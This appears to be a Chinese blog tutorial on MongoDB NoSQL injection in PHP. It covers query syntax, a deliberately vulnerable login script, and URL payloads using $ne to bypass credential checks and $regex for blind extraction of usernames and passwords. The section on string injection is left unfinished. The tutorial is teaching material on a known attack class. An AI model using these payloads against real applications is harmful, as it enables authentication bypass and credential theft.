0x00 安装

下载:http://dl.mongodb.org/dl/win32/x86_64

安装:http://www.runoob.com/mongodb/mongodb-window-install.html

0x01 MongoDB语法

我们先学习下MongoDB的使用,知己知彼,方能百战百胜,只有了解了对方,才能找寻弱点,一击击破

下面都是以PHP为例

数据库操作基本是增删改查,MongoDB的增删改查怎么个不是SQL呢,下面我们来看一下

<?php

$mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017

$db = $mongo->security; //选择数据库

$coll = $db->users; //选择集合(表)

$coll->save({'id':1,'name':'admin','passwd':'admin'});    //增,新增id=1,name=admin,passwd=admin的数据

$coll->insert({'id':1,'name':'admin','passwd':'admin'});//增,这个也是增
$coll->find({'id':1}); //查,查询id=1的数据 

$coll->remove({'id':1}); //减,删除id=1的数据 

$coll->update({'id':1},{'name':'superadmin'}); //改,将id=1的name改为supername 

?>

大家通过上面应该可以察觉到数据传输是通过json承载的

说明:JSON 是一种轻量级的数据交换格式。它基于 ECMAScript 的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言,它易于人阅读和编写,同时也易于机器解析和生成,并能有效地提升网络传输效率。如:{\"firstName\": \"Brett\", \"lastName\": \"McLaughlin\"}

还有一种执行的方法,是直接执行字符串的

<?php

$mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017

$db = $mongo->security; //选择数据库(表)

$query = "db.users.save({'id':1})";    //增
$query = "db.users.insert({'id':1})"; //增
$query = "db.users.find({'id':1})"; //查 

$query = "db.users.remove({'id':1})"; //减 

$query = "db.users.update({'id':1},{'name','superadmin'})"; 改 

$result = $db->execute($query); 

?>

上面都是连接users表进行操作的。db.users.find({'id':1})这种其实是js的语句,最后通过execute($sql)执行sql操作,execute其实就是执行js语句

针对上面两种执行方式,有不同的注入攻击方式。

0x02 注入攻击

针对上面两种执行方式,分类两种攻击方式:操作符注入、字符串注入 ,详细介绍下注入原理前,先补充知识

比较条件操作符

"$lt", "$lte", "$gt", "$gte", "$ne"
对应于:"<","<=",">",">=","!="

正则操作符

$regex

实际运用

db.items.find({"name" :"admin", "password" : {$ne : "1"}})
#查询name=admin及password不等以1的数据
相当于SQL语句:select * from item where name='admin' and password != 1; db.items.find({"name" :{'$regex':"^a"}})
#查询正则匹配字母a开头的数据

操作符注入

测试代码

<?php

$mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017

$db = $mongo->security; //选择数据库

$coll = $db->users; //选择集合(表)

$username = $_GET['username'];
$password = $_GET['password']; $data = array(
'username' => $username,
'password' => $password
);
echo 'data_array->'.$data.PHP_EOL; $coll->find($data); //查,查询id=1的数据
$count = $coll->count();
if($count > 0){
foreach($data as $key => $value){
echo $key.'->'.$value.PHP_EOL;
}
}else{
echo 'NOT FIND.';
} ?>

传入数据?username=test&password=test

输出:username->test password->test

传入的url为:

http://127.0.0.1/mongodb.php?username=test&password=test

执行了语句:

db.users.find({'username':'test','password':'test'});

如果传入参数如下:

http://127.0.0.1/mongodb.php?username[xxx]=test&password=test

则$username就变成了个数组了,我们可以做下试验

<?php

$username = $_GET['username'];
$password = $_GET['password']; $data = array(
'username' => $username,
'password' => $password
); foreach($data as $user => $value){
echo $user."->".$value.PHP_EOL; } ?>

传入:http://127.0.0.1/mongodb.php?username[xxx]=test&password=test

输出:username->Array password->test

可以看出$username变成数组了

数组相当于:

$data = array(
'username'=>array('xxx'=>'test'),
'password'=>'test'); --> $data={'username':{'xxx':'test'},'password':'test'}

这样MongoDB最后执行如下语句:

db.users.find({'username':{'xxx':'test'},'password':'test'});

利用此特性我们可以注入操作符("$lt", "$lte", "$gt", "$gte", "$ne"),完成一些意料之外的操作了

eg:http://127.0.0.1/mongodb.php?username[$ne]=test&password[$ne]=test

这样就可以查询到出test/test的账号密码了

上面传入的参数,相当于执行的MongoDB语句:

db.users.find({'username':{'$ne':'test'},'password':{'$ne':'test'}});

相当于sql语句:

select * from users where usrname != 'test' and password != 'test';

上面的例子是有回显的,那如果没有回显呢,我们传统SQL注入的这种情况就是盲注了,NoSql是否也有呢?有的。

利用上面介绍的正则操作符$regex

eg:http://127.0.0.1/mongodb.php?username[$regex]=^a&password[$regex]=^b

上面传入的参数,相当于执行的MongoDB语句:

db.users.find({'username':{'$regex':'^a'},'password':{'$regex':'^b'}});

意思是查询username以字符a开头及password以字符b开头的数据。^o^

字符串注入

这个就是利用execute方法执行js写的查询

【未完待续】

[NoSql注入] MongoDB学习的更多相关文章

  1. NoSQL数据库-MongoDB 学习(一)

    基本介绍 MongoDB 是为了快速开发互联网 Web 应用而设计的数据库系统 MongoDB 的设计目标是极简.灵活.作为 Web 应用栈的一部分 MongoDB 的数据模型是面向文档的,所谓文档是 ...

  2. SQL注入 基础学习

    SQL注入学习笔记 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有 ...

  3. Mongodb学习笔记一(Mongodb环境配置)

    Mongodb学习 说明: MongoDB由databases组成,database由collections组成,collection由documents组成,document由fileds组成.Mo ...

  4. MongoDB学习记录

    一.操作符 "$lt" :"<""$lte" :"<=""$gt" :"> ...

  5. NoSQL 数据库产品学习总结(一)

    NoSQL 数据库产品学习总结(一) 本篇文章共分为四个章节,会陆续整理下 Memcached.Redis.tair.mongodb.hbase.SequoiaDB. Cassandra的相关知识. ...

  6. MongoDB学习笔记-认识MongoDB

    学习参考地址 http://www.runoob.com/mongodb NoSql 流行的数据库Oracle,SqlServer,MySql为关系性数据库,相对的,也有非关系性数据库,统称为NoSq ...

  7. MongoDB学习2

    MongoDB学习(翻译2) C#驱动之LINQ教程 介绍 本教程涵盖了1.8发布版本对linq查询的支持. 开始本教程之前,你应该至少阅读下C#驱动教程关于C#驱动的介绍 快速开始 首先,添加下面命 ...

  8. NoSQL注入的分析和缓解

    本文要点介绍: 1.了解针对NoSQL的新的安全漏洞 2.五类NoSQL攻击手段,比如重言式.联合查询.JavaScript 注入.背负式查询(Piggybacked queries),以及跨域违规 ...

  9. MongoDB 学习笔记(原创)

    MongoDB 学习笔记 mongodb 数据库 nosql 一.数据库的基本概念及操作 SQL术语/概念 MongoDB术语/概念 解释/说明 database database 数据库 table ...

随机推荐

  1. RESTE MASTER和reset slave

    RESET MASTER 删除所有index file 中记录的所有binlog 文件,将日志索引文件清空,创建一个新的日志文件,这个命令通常仅仅用于第一次用于搭建主从关系的时的主库, 注意   re ...

  2. gradle 离线模式offline 用法

    1. 离线模式 offline所谓离线模式offline,就是gradle在解析依赖的时候采用本地的依赖库(如 GRADLE_USER_HOME指定的路径),而不是依据项目build.gradle文件 ...

  3. prism 4 模块配置 管理

    本章导读: 第四章讲述了模块化应用程序开发中模块的生命周期,生成方法,实例引用的存活时间等关键内容,和经常会应用到的包含定义模块在内的7种场景(以Unity为例,也说明了MEF与Unity中可能不同的 ...

  4. 阶段3 2.Spring_06.Spring的新注解_3 AnnotationConfigApplicationContext的使用

    目前这个配置文件除了导约束就没有其他的内容了. 删除这个bean.xml文件 但是测试类里面还是读取的xml的信息 注解 查看ApplicationContext的 关系图 查看实现类的实现类 之前我 ...

  5. vue中关于checkbox数据绑定v-model指令的个人理解

    vue.js为开发者提供了很多便利的指令,其中v-model用于表单的数据绑定很常见, 下面是最常见的例子: <div id='myApp'>     <input type=&qu ...

  6. 三十五:数据库之SQLAlchemy外建之一对多关系

    准备工作 from sqlalchemy import create_engine, Column, Integer, String, Float, Text, ForeignKeyfrom sqla ...

  7. Could not find aapt Please set the ANDROID_HOME environment variable with the Android SDK root directory path

    写case写好好哒,突然debug的时候就冒出这个错误: selenium.common.exceptions.WebDriverException: Message: An unknown serv ...

  8. centos7 安装mongodb4.0笔记

    1,添加yum源 vim /etc/yum.repos.d/mongodb-4.0.repo 2,把下面内容加入,并:wq [mongodb-org-4.0] name=MongoDB Reposit ...

  9. (5.1.4)引擎管理——SSMS管理使用小技巧

    目录 [1]自带报表 [2]对象管理器详细信息 [3]日志 [4]活动监视器 [1]自带报表 无论是数据库.服务器实例.还是代理等等都可以有标准报表 [2]对象管理器详细信息 利用改方式,可以很有效的 ...

  10. HDU 1159 Common Subsequence 最长公共子序列

    HDU 1159 Common Subsequence 最长公共子序列 题意 给你两个字符串,求出这两个字符串的最长公共子序列,这里的子序列不一定是连续的,只要满足前后关系就可以. 解题思路 这个当然 ...